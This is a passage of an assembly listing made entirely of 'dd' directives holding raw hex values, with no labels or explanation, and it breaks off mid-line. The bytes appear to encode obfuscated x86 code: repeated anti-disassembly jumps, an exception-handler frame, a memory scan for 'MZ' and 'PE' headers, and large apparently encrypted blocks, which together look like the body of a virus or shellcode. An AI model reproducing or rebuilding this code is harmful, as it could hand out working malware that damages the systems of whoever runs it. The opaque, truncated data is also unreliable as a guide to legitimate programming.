45B589B9h, 0FF06102Dh dd 13C265B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 33A81DEh, 0F1EA4BE5h, 0B5895661h dd 610024Dh, 61538468h, 0D88B6638h, 7B243481h, 0BB387E50h dd 2DEDF0B2h, 0C26D858Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 38F79DC3h, 85CF80C6h dd 66525050h, 310FDE8Bh, 52505250h, 585A310Fh, 8CBF310Fh dd 5A3D8516h, 89585A58h, 0FE82404h, 36000000h, 62ADB7D7h dd 8BAEB4A7h, 7D79BC2Dh, 0BD8B5ED1h, 6100A8Dh, 0D595FF5Fh dd 89061005h, 1013E1B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 5DF68AC3h, 0F3FC06CCh dd 0F6CE9C0h, 68Fh, 0F5BD8B00h, 0C7061006h, 1022C185h dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 854B6E2Dh, 0C26DBD83h, 0F000613h dd 3084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0BD9D295Bh, 2306101Ah, 1030A59Dh dd 1EE906h, 0B70F0000h, 0C3050FBh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0BD8BDE8Bh, 6101FD1h, 22C1BD83h, 0F030610h dd 3FB85h, 6860F00h, 8B000000h, 100871BDh, 0CB816606h dd 0BD83B55Dh, 613C26Dh, 0DD840F00h, 31000003h, 1019D585h dd 6DB5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0BD1AC350h, 6B3C38EDh dd 0F8D9D01h, 95FF0610h, 6102FA5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0C7C35646h, 8B97B74Ah, 13C261B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 106C7C9h, 6A000100h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 23CDC352h dd 58FEC032h, 0BDF1882h, 101C1D9Dh, 0FA8B6606h, 43FBBB50h dd 34896C15h, 0FFFA8A24h, 13C26DB5h, 0AE906h, 0B5A60000h dd 51FFD74Eh, 635000BEh, 122595FFh, 0F7800610h, 61B58B29h dd 6A0613C2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 1C7C353h, 10BB6637h, 0EF8166F4h dd 858B5D18h, 61021D1h, 1CADBD8Bh, 86890610h, 0C4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CFC35141h, 9D8BD35Eh dd 610057Dh, 0AADBD8Bh, 958B0610h, 61009F5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EC35040h, 43EB4A0Fh dd 0D98B6660h, 2A798531h, 83610610h, 6A04C2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0DAAD3FC3h dd 20508919h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 7DC35242h, 7FD4B99Dh, 0BE9E7h, 0D9A0000h, 89BE9809h dd 0D7DFC1A5h, 0C2858D16h, 6A0613D7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1DBC350h dd 86EF00C3h, 8689E993h, 0B8h, 3D8D31F5h, 6A06102Ah, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 5BC517AAh, 0FFFD1ACh, 38Ch, 0B5C38000h, 0C26DB5FFh dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 6681B5C3h, 1F54EB81h, 49595FFh, 52960610h dd 9E9h, 0F4541A00h, 0C4CFE29Ch, 505F177Fh, 118D0Fh, 52500000h dd 820Fh, 310F0000h, 0F4F9BFBBh, 96585A33h, 0C26DB5FFh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 3905BFC3h, 0A61C1973h, 0FFB0024Eh, 10162D95h dd 11E906h, 39130000h, 3E80C381h, 0AE082152h, 0D0F9B697h dd 83F330F5h, 101351BDh, 840F0006h, 2Fh, 0CE8h, 8589DE00h dd 472AEFF4h, 0EDAF0D3h, 5830FD7h, 66000000h, 93D8C781h dd 6E9505Bh, 0C8000000h, 19973798h, 243489E8h, 0FFDF8B66h dd 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 3125C354h, 9A0DDF81h, 0EF8000A1h dd 1995FFAEh, 906100Ch, 101D058Dh, 6DB5FF06h, 0FC0613C2h dd 162195FFh, 85090610h, 61011BDh, 0F89BD83h, 0F020610h dd 4F84h, 0B1BD2300h, 8B061014h, 1010C585h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8E842h, 90D80000h, 6CB04673h, 8960206Dh, 102E0195h dd 0C99D2906h, 61061027h, 0C6D88B5Fh, 9D8B0000h, 6101571h dd 2A2585C7h, 610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0C681F2C3h, 0B509F9B3h dd 6100DF1h, 0FFF43DE9h, 9BD8BFFh, 8B061016h, 0F38166C1h dd 0BAB22Ah, 81F00E10h, 0EAh, 14C283F0h, 0C899589h, 0EA830610h dd 55858D14h, 50061545h, 35FF64h, 64000000h, 2589h, 0E80000h dd 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h dd 0C88BFFFFh, 1FD58589h, 40030610h, 50B70F3Ch, 8D958906h dd 8B06101Ah, 95895050h, 6101B39h, 0F805h, 0C508B00h, 9589D103h dd 610091Dh, 89085003h, 1023F595h, 58F6406h, 0 dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0 dd 59000010h, 83C3C033h, 103105BDh, 840F0006h, 24h, 23E585C6h dd 68470610h, 0D49AA7D2h, 1D45B5FFh, 858D0610h, 613858Ah dd 6AD0FFh, 8589D0FFh, 6100C4Dh, 12E8D38Bh, 1A000000h dd 49DA3D93h, 5B4D1D40h, 78E75754h, 70913EB1h, 0D7BF0F26h dd 0D7EA815Fh, 81439A67h, 5DE2C7h, 3395B200h, 70C8BC0h dd 81F7BF0Fh, 560BF8C1h, 14E82Eh, 37200000h, 2219812Fh dd 9D44374h, 27EAA991h, 0FEFA049Fh, 8166AFD2h, 5E97B2D6h dd 6140F181h, 0FE85CBCh, 70000000h, 89274459h, 43C7CC2Ch dd 18899BF9h, 0EF80BE0Ch, 0E9815B84h, 39FB4BB2h, 6651D78Bh dd 8FE2E5BEh, 81660704h, 80E981F3h, 0E8836FDAh, 0D6816604h dd 0F8810809h, 0FFFFA2F4h, 10850Fh, 0D6800000h, 37E96Ah dd 0D4140000h, 247B41E8h, 14E99565h, 89000000h, 16ED5B64h dd 7E4D3EB5h, 2FC3D68Dh, 0ADCB777Dh, 0E97DB32Eh, 0FFFFFF5Dh dd 0EC1ABC78h, 0F2FA90E9h, 0A6E544A7h, 0F75CF0E5h, 688D8D81h dd 0F061547h, 8D89F1B7h, 61009F5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 82C35646h, 0D008E3E6h, 954A396Ah dd 75850960h, 60061030h, 20CD8D8Bh, 85010610h, 6102D45h dd 85C76161h, 6102319h, 60A0h, 0C185C7F9h, 61022h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 645AC350h, 0BD89E1F2h, 6100101h, 302DBD89h dd 0B5FF0610h, 6102ED5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0D1C35040h, 0BE9DCh, 6CEF0000h, 2A1658A2h dd 62B17468h, 0B995FFC3h, 6A06102Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F2CEC357h dd 0B5898713h, 6100B21h, 95FF006Ah, 61031C9h, 1CEBC08Bh dd 35A7D9F3h, 0E389D4C3h, 557D15D5h, 550CC57Eh, 0BFF64CD7h dd 0BB4128CEh, 22A4B94Dh, 48108D8Dh, 850B0615h, 6100CA1h dd 9F58D89h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 2FB9C6C3h, 1985C713h, 30061023h dd 80000074h, 85C7C7D3h, 61022C1h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 16C35141h dd 2BB777C8h, 0CDB5FFh, 0BD8B0610h, 6100249h, 2DB995FFh dd 0B58B0610h, 6102A6Dh, 95FF006Ah, 61031C9h, 3EEBC08Bh dd 6398945Dh, 754F17E4h, 2493B344h, 487BF53Dh, 95246B93h dd 0A4707F07h, 47E5076Bh, 85039A94h, 0EED2396h, 0D5333C20h dd 0A13F6DE5h, 64A6E2BDh, 1AD5467Eh, 0B8CBC42Bh, 0FE144D2Ch dd 1B69C244h, 5B0F14CAh, 73143F4Fh, 9B213F26h, 0C5536105h dd 9F6C4BACh, 9F007BA4h, 9B123F3Eh, 53CA6963h, 5498EFCFh dd 94D5DEFBh, 26A2F192h, 9D802AA8h, 18414A25h, 8B24AA98h dd 82663F23h, 5B826C75h, 9B803C9Dh, 0FEC7B625h, 16272F2Bh dd 89282AB8h, 0C09BC023h, 0E99BC7Dh, 9B142F25h, 0C8592851h dd 9B803C9Dh, 0FEC7B625h, 16272F2Bh, 89253BB8h, 0C09BC023h dd 1B9B597Dh, 0FA8FB685h, 0B20F2F20h, 8B85F2B0h, 0F182B423h dd 98C96C25h, 0BB903F25h, 1213FC7Eh, 1A201B79h, 8D161B61h dd 0D8093F25h, 36C8FC76h, 4BC959BCh, 28F9B343h, 94949795h dd 9B4BE0A1h, 0C9245525h, 9B123CCDh, 58531F25h, 0BFD0B67Fh dd 0BF06BE21h, 9B212A21h, 58C27D25h, 0EC35354h, 9D341ECCh dd 0B60382A6h, 94093935h, 9B847BA1h, 2C4D5F25h, 26ACB4E4h dd 0FA962F3Bh, 9B4BA0CCh, 0CA245525h, 9B123CCDh, 58501F25h dd 0BFC8B67Ch, 0BF06BE21h, 9B212B21h, 58C17E25h, 12F5B4E5h dd 72222F20h, 9B123F22h, 7E78177Bh, 904D9A24h, 8B5FEAB0h dd 0BC218123h, 54103D25h, 9CCDB259h, 64222C5Ch, 0CE8FB4F5h dd 1E0F2F16h, 770030E5h, 12423F25h, 8B29B6A8h, 0CCA8BE23h dd 94B3BE43h, 9B247AA0h, 9AAFB425h, 120F2F24h, 8B891698h dd 0E3C35923h, 94233D21h, 9B9365A1h, 0C8485525h, 9B243CCDh dd 58491F25h, 0BF55B67Eh, 0BFC0BE21h, 9B422221h, 58727C25h dd 1489BB97h, 0CBEE29F9h, 1A72C48Ch, 8CC6DFEAh, 1A6F6535h dd 94E4A31Dh, 9B42B5A0h, 0F6AC0E25h, 1B962F3Bh, 94A03D5Dh dd 9B2445A0h, 0C8125525h, 9B093CCDh, 58DF1F25h, 0BF1EB67Eh dd 0BF65BE21h, 9B902821h, 581B7C25h, 0C9B4CEEEh, 35CC8043h dd 9D71BE43h, 1E8B9425h, 9B423F6Eh, 73763F4Fh, 9B903F26h dd 0C48B6005h, 9F0043ACh, 9F367BA4h, 9B093F3Dh, 2A476862h dd 192EF03Fh, 9B2130CDh, 0B4B30725h, 0C2CA7478h, 99AD6AA3h dd 4265F474h, 821CA2AEh, 22DE3935h, 0FDF53C67h, 9B23A1CCh dd 1E15B625h, 254E2F07h, 0DD253E25h, 0B5EFA2AEh, 1E843935h dd 9D974622h, 0ACABBE43h, 0F1F1C0E2h, 98786D25h, 0BB483F25h dd 127EFC7Fh, 1A161B71h, 830D1B61h, 0D9843F25h, 2CFBFC77h dd 1A4E2A6Ah, 0D19416CEh, 52C5B417h, 1E222F35h, 8E9630E5h dd 0F1093F27h, 986C6E25h, 0BB423F25h, 1278FC7Ch, 1A941B69h dd 834C1B61h, 0DA243F25h, 21CDFC74h, 1AD0F50Ah, 99B9591Dh dd 0ACC73027h, 21213F25h, 0FE78A022h, 0FD4E47A4h, 945E6018h dd 9B1031A1h, 0CD095525h, 9B843CCDh, 581C1F25h, 0BF55B67Bh dd 0BFD4BE21h, 9B482A21h, 58727925h, 69B1D79h, 9D1925B4h dd 1AE2EE94h, 9422A31Dh, 9B2101A0h, 0E21DB425h, 1B4E2F0Bh dd 94CC3D5Dh, 9B1211A0h, 0DE94B425h, 12822F25h, 8B569EB0h dd 0E3A05923h, 94503F23h, 9B4829A0h, 9AB9B625h, 72142F15h dd 9B093E8Eh, 0DA3F5973h, 25FB665Ch, 2513668Ah, 0E5913E25h dd 731D3F4Fh, 9B243F26h, 0C6D16205h, 9F2D53ACh, 9FA07BA4h dd 9B423F3Ch, 9CE26A60h, 0AEC07D14h, 0F2FD3EA3h, 16222F2Bh dd 886B38A0h, 9E843023h, 20843F25h, 0B9277E6Ch, 0A9E4BAACh dd 4B6F3935h, 731E3F4Fh, 9B243F26h, 0C5D16105h, 9F2D4BACh dd 9FA07BA4h, 9B423F32h, 4CE26963h, 1E3E4CDDh, 66CC30E5h dd 0F1243F25h, 98FA6A25h, 0BB093F25h, 12D9FC78h, 1A461B49h dd 8D251B61h, 0DE903F25h, 54C6FC70h, 0F9E3BFB5h, 94FA07A5h dd 9B0966A0h, 1BDD8D25h, 94313A5Dh, 9B2172A0h, 9B80D625h dd 0E1133F25h, 183BACF9h, 0A2695B8Ch, 0BB7842FCh, 0E304E65Ch dd 1F4D6C22h, 9B213FFAh, 73C53F4Fh, 9B483F26h, 0C6E76205h dd 9F3653ACh, 9F2D7BA4h, 9B843F31h, 0CD816A60h, 9B2BD7D0h dd 35EF3F25h, 0CF5438F9h, 7A70A2C3h, 1A7465DCh, 940CB01Dh dd 9B8450A0h, 26CFB625h, 1B272F2Bh, 94F8395Dh, 9B4860A0h dd 529B3025h, 906ABE43h, 1E061ADAh, 9B843F75h, 73153F4Fh dd 9B213F26h, 0C4536005h, 9F6C43ACh, 9F007BA4h, 9B123F31h dd 0AFCA6862h, 124EB445h, 8B537EA0h, 0C7C85E23h, 0F1903F25h dd 98A06825h, 0BB243F25h, 124DFC7Ah, 1A0D1B59h, 8C801B61h dd 0DC423F25h, 5733FC72h, 2619BF48h, 9D581890h, 2442FF0Eh dd 0AAFB1026h, 0F1093F25h, 986C6925h, 0BB423F25h, 127FFC7Bh dd 1A941B51h, 8E4C1B61h, 0DD243F25h, 0D149FC73h, 9B0935CCh dd 272EE225h, 0E8834E09h, 23FB9684h, 9B903F24h, 9B4DD675h dd 6B1D3F25h, 1210C565h, 9B631B21h, 9B87D770h, 0C6623F25h dd 0F7A862E6h, 0DF113B01h, 9B5C3B01h, 0CE613F25h, 1A1DF4E6h dd 9B093F20h, 7F0C709Ch, 0C8FFB26Fh, 16272A6Dh, 8EDD49A8h dd 0CE6B8723h, 1E274843h, 9D021E18h, 2525F00Eh, 4FE5913Eh dd 26731D3Fh, 59B243Fh, 0ACC6D162h, 0A49F2D53h, 3C9FA07Bh dd 5E9833Fh, 6058A4F3h, 1FD98D8Bh, 850F0610h, 1, 6A61FCh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 5D0C4DC3h, 5A51231Ah, 0C00B1086h, 81840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8D47BAC3h, 104E85B5h, 0DE806h, 0AABB0000h, 361D6B6Ah dd 0F61C8D0h, 0E9915907h, 14h, 4C77E87Ah, 0D0681616h, 615E6D8Ah dd 44C325C5h, 0A7FEC971h, 3B859h, 0E6FF0000h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0FC35040h, 0F49C093h dd 682h, 0D1958900h, 40061023h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 48C35040h, 9D8B0D22h, 6101435h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0B06490C3h, 0A58E3ABAh, 0D3816680h, 83F8EC53h dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h dd 403B8C0h, 85890000h, 610132Dh, 0B87C9D8Dh, 0D3FF0612h dd 0BD83585Bh, 6100095h, 50177400h, 403B853h, 85890000h dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 0CD80585Bh, 0FB8B66EDh dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0E84259C3h, 0A27C082Fh, 0DE61C3C8h, 0D4D4712Ah dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h dd 0EF5E265Ah, 338805D6h, 0FFB44E60h, 0F867A5E4h, 0A0883B76h dd 0D612A3BEh, 79672020h, 0DB71A3BAh, 0D71B2023h, 33881736h dd 831D2933h, 0C0982633h, 0B3D70EB6h, 0D6157635h, 0AF8D6929h dd 3D0DD963h, 839E363Ch, 35982664h, 1F152359h, 4B8D6919h dd 0BC1DAB63h, 39E337Ch, 0A199B3CCh, 14932023h, 6AA1A23Ch dd 0B0152633h, 9C8D6919h, 4DAACE63h, 0F6D82633h, 1CA8A3BEh dd 24C82026h, 0C1D70CB6h, 0FF677635h, 33882462h, 1794E2B0h dd 58D70CB6h, 23157635h, 558D6929h, 400DD963h, 3D9E363Ch dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch dd 88152637h, 9C8D692Bh, 1DD5ABBEh, 93202026h, 78000000h dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh dd 615504Dh, 506C8D8Dh, 0CF2B0615h, 8B05E983h, 315820C8h dd 3131C854h, 6C121001h, 5DBB55C2h, 75B30025h, 31270625h dd 64770101h, 8F8D63C2h, 427859B1h, 5BEAAC67h, 32DA4701h dd 11320801h, 0B86DC75Eh, 0B036267Dh, 28362545h, 76328001h dd 2BCE8356h, 4EEE26ADh, 23EB8D8Ah, 0D8520E11h, 31320412h dd 2FF17564h, 44602BC1h, 72F74FE8h, 645A0176h, 3E53E03Ah dd 3132168Eh, 80878301h, 50341408h, 0B53D06A9h, 31320385h dd 0D965806Bh, 31324002h, 6EF17F21h, 35166C88h, 35164C80h dd 3132041Dh, 0E1F15546h, 0E7C6C7EFh, 8C92E65h, 3DE5C167h dd 208FA34Fh, 3134002Ch, 31008C0Eh, 78DB0401h, 5B320203h dd 32DA5701h, 11328001h, 0B86C835Fh, 0B0360475h, 29363445h dd 77320801h, 2DEC757h, 0D85F1704h, 31320109h, 75662A64h dd 9F7C9AB1h, 67607051h, 313203E8h, 30A21E01h, 1EF5ECABh dd 55A85590h, 692E2A33h, 0BE435241h, 0D8034F5Eh, 3132200Fh dd 0F6A411C5h, 0F76CB0BCh, 32439A65h, 6968DBEBh, 5B160588h dd 32DAD101h, 11324001h, 0B86BE358h, 0B036344Dh, 2C362C45h dd 70320401h, 0E6F4C150h, 0B9651E86h, 4E880FC6h, 157E410Eh dd 0FC8846FFh, 0E2B9488Ah, 3E1EC882h, 31320687h, 0BAF3B501h dd 33BF0E09h, 0BA328001h, 79B926F0h, 61324AFDh, 313213E9h dd 0F26A2801h, 15768D59h, 15768305h, 31321605h, 0F262C001h dd 73FD9012h, 313232E8h, 3B153F01h, 0E80FE89Ah, 58149B38h dd 544E8349h, 575A9FBCh, 0CE04B980h, 31CBC40Eh, 0B4BB2001h dd 372216BCh, 5B3BC982h, 32DA5601h, 11320201h, 0B868C25Bh dd 0B036A455h, 2A366445h, 73322001h, 7DC5D353h, 6D5C6C97h dd 4B897A14h, 0B162A8FBh, 0B43DE838h, 31328121h, 0D963406Bh dd 31322002h, 68F14921h, 35164488h, 35164080h, 31320214h dd 56F15040h, 84BBE018h, 37224EE8h, 3122AD0Eh, 3BDA1001h dd 8A320801h, 0CBAE68D0h, 6FB19C27h, 0BA535E3Eh, 25DA8140h dd 6D324001h, 34E487A5h, 0BBFE11DBh, 384E8D40h, 80C81D68h dd 0BA645C09h, 2136E494h, 0F931DE07h, 120FF502h, 0F0B12611h dd 62327A04h, 31320BE9h, 0F2692401h, 156E8B5Ah, 15768005h dd 31329B05h, 0F2610301h, 0BD92301h, 0B02C02F4h, 1B07B58Ah dd 8B30211h, 0BA714991h, 31B0840Eh, 31588001h, 3131A853h dd 6B122001h, 65BB4AC2h, 75B30C25h, 312B0025h, 63700201h dd 4FAE51C2h, 0BC56CA4Fh, 217CC58Ch, 64324A07h, 313213E9h dd 0F26F2801h, 155E8D5Ch, 15768305h, 31321B05h, 0F267C501h dd 9673DC68h, 0B0BC72ACh, 5A7EAFCEh, 3131B004h, 8E540401h dd 0D0CD5F76h, 0D961016Bh, 31328002h, 6AF11B21h, 35167C88h dd 35165480h, 3132081Ah, 0F9F15742h, 3A909361h, 57C003F1h dd 559F5680h, 61322A60h, 313223E9h, 0F26A3001h, 15768159h dd 15768505h, 31321405h, 0F2624101h, 0D84E4BE9h, 3132400Dh dd 0F04D3EC9h, 3F944C70h, 0D886202Ah, 615CB98Ch, 0BCBF0414h dd 372752B8h, 0A3B1F4B9h, 84B77300h, 1A343008h, 315820CEh dd 3131C854h, 6C121001h, 5DBB55C2h, 75B30025h, 31270625h dd 64770101h, 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DFF4C350h dd 73944E60h, 0D45BD89h, 10E90610h, 0D7000000h, 0CC8DCC32h dd 0E46AFD56h, 5BDE29FCh, 8BB20E8Fh, 6E8C3h, 0BFF0000h dd 141B547Fh, 4D08B866h, 0C88B665Ah, 5D3AC281h, 0DFBB0000h dd 0BE40E1E3h, 793B6C15h, 0AB0EC681h, 8D3386C4h, 6102E59h dd 9D2B3A8Bh, 6100089h, 0B338F781h, 7CB41FD8h, 8E6FC781h dd 0B5502CB8h, 0C7815B4Dh, 5F9F1731h, 89C2BF0Fh, 0DE83Ah dd 95990000h, 93BF31DAh, 0CAB4F3B0h, 0E9704D50h, 5, 0C04B6BB8h dd 0EA8358D1h, 1EE8304h, 22850Fh, 8E0F0000h, 6, 6CD8589h dd 29E90610h, 6B000000h, 0D49E51DFh, 1C0D7F7Ah, 0F8AE635Ah dd 0FDA5390h, 0FFFF8BE9h, 2F76EAFFh, 5BEAD596h, 8B9E9E3Bh dd 2113D4BDh, 0EB3DEA7Fh, 55D98D8Dh, 8D0F0615h, 6, 0BCDBD29h dd 8D890610h, 61009F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 96C35343h, 9D09A112h, 6100D51h, 231985C7h dd 5D6C0610h, 8B660000h, 0C185C7FAh, 61022h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 6F0FC357h, 95012BEEh, 61030C1h, 0B9BB6653h dd 9D8B5E13h, 6101CD5h, 0BB9B5FFh, 6A0610h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 12E86AC3h dd 0E1000000h, 73436134h, 4A9630Bh, 3ED375DCh, 0CEB52643h dd 0AE95E86h, 57000000h, 0EF78152Eh, 9F05DD2Eh, 0B995FF12h dd 6A06102Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 3FBFC353h, 0B49C66C3h, 0D8B6A48Dh dd 58F0F50h, 0BE000000h, 7FBA10E3h, 0FF006A58h, 1031C995h dd 0EBC08B06h, 0DA5B6B4Fh, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h dd 0B4D94EDFh, 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h dd 281B98DCh, 0C641AD04h, 0C1BAF195h, 5BA420E6h, 6976CC2Dh dd 278C05F8h, 46339701h, 0BE8EC570h, 0CD1DC0A7h, 0AF92EF8Ch dd 0D7A9D423h, 12E8h, 538C5100h, 760F6A56h, 160DA97Ah dd 361E4195h, 5F8B2053h, 68C0Fh, 8D2B0000h, 61022A1h, 701FC781h dd 66530000h, 0C2EAC981h, 0FC9CBB5Ah, 0F3817B9Ah, 7B9AE749h dd 8B02DD80h, 618D8B07h, 8106100Ch, 1EE367E8h, 0BD8B6021h dd 61008D1h, 7E960h, 64BB0000h, 4693B53Dh, 15858950h, 61061007h dd 8DC08161h, 8B40E583h, 102DA5B5h, 0C5C08106h, 0F12E505h dd 1F80h, 81666000h, 0E974DAC7h, 13h, 43B0C371h, 0C2E1C3B0h dd 0D6EEA0EEh, 0B232D5AEh, 61B86B47h, 12E90789h, 96000000h dd 1EF392CBh, 63B314B0h, 3C4A391h, 47A1E90Fh, 4EF8310h dd 2A318D8Bh, 0EB810610h, 1, 0FF71850Fh, 8D8BFFFFh, 61013FDh dd 57AC8D8Dh, 0B52B0615h, 6102179h, 9F58D89h, 0F98A0610h dd 231985C7h, 6DC80610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 32B6EEC3h, 85C7C68Bh dd 61022C1h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h dd 44FBEB02h, 0FF6C18E9h, 101F51B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 56502D57h dd 0B995FFD9h, 0E906102Dh, 8, 0E6A64452h, 9342B20Fh, 95FF006Ah dd 61031C9h, 4EEBC08Bh, 2D71B35h, 0FD53499Fh, 8962C745h dd 0CD1A7F11h, 0F6FE36D3h, 711F11A9h, 0B40F18D2h, 60A957F6h dd 0E382E5A8h, 97E67E04h, 8F330EBEh, 0FAEC5DD6h, 28C1A416h dd 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 247733Fh, 39CB53AFh dd 0AD90C09h, 12E89F1Dh, 32000000h, 433CD04Ah, 67B3D85Ch dd 0ACC4AED7h, 9C688288h, 0D9853116h, 5F061013h, 1DBD9D33h dd 0C7810610h, 5BFBh, 21A59D89h, 680610h, 58000000h, 0FFF1B70Fh dd 0DF8B3834h, 9D8B5359h, 6102FA9h, 68C1815Bh, 811E27E7h dd 58672FCBh, 2CE98176h, 0F34605Dh, 683h, 19958B00h, 8106100Bh dd 0AFA09DE9h, 41BD8959h, 5106100Ah, 46EE8153h, 5B1323C9h dd 6607048Fh, 0E973D9BAh, 6, 0CF565E08h, 0E881A368h, 4A7EA90h dd 15618589h, 0C0810610h, 4A7EA8Ch, 86BB6652h, 0F8815A30h dd 0FFFFA4C0h, 0FF89850Fh, 0FE9FFFFh, 0A5000000h, 0D05BC954h dd 15666A67h, 0E6ECE940h, 8D8DA8A5h, 61559C4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3AC35646h, 6E6FF76h dd 0C681EFE6h, 5195081Fh, 9F58D89h, 8B660610h, 1985C7D6h dd 98061023h, 6A000070h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B624C356h, 0F89CCA58h dd 0E9B4727Eh, 0Dh, 14978CD5h, 0A2A64858h, 19C295Ah, 0E985013Eh dd 0C7061032h, 1022C185h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 41726D56h dd 0FF500EDDh, 101F51B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B52388C7h dd 610329Dh, 2DB995FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 85891EC3h, 6101705h dd 95FF006Ah, 61031C9h, 4EEBC08Bh, 0EFE4BBD2h, 1C609D1Ah dd 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h dd 8B9B9378h, 9B3FC7F8h, 1B200387h, 0D17C6D10h, 7DA828AFh dd 0F3C1F14Ah, 44EEBEF7h, 181ECB32h, 907F678Bh, 6B750430h dd 11FE1D6h, 0C8B9595Fh, 20E94D80h, 64000000h, 26907Fh dd 6 dup(0) dd 0E9000000h, 4EEh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh dd 38F433D5h, 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h dd 764A45F9h, 0D9260FB3h, 420AE76Bh, 50447932h, 74F9739h dd 27B34C6Dh, 8A11CDA9h, 0B1B9A3E1h, 253B43A6h, 0DCC8FDA6h dd 11887C58h, 0C67C2F5Ah, 1E6DCCE2h, 8D4C1E42h, 70F4A0D7h dd 0DD12B9h, 0B4E187FEh, 0CCE24DF5h, 0ECDA96Dh, 4E421E57h dd 44ED841Bh, 9B9709Bh, 266DCCE2h, 0D4504481h, 0C304A51Ch dd 5D6F53CFh, 0CCE214AEh, 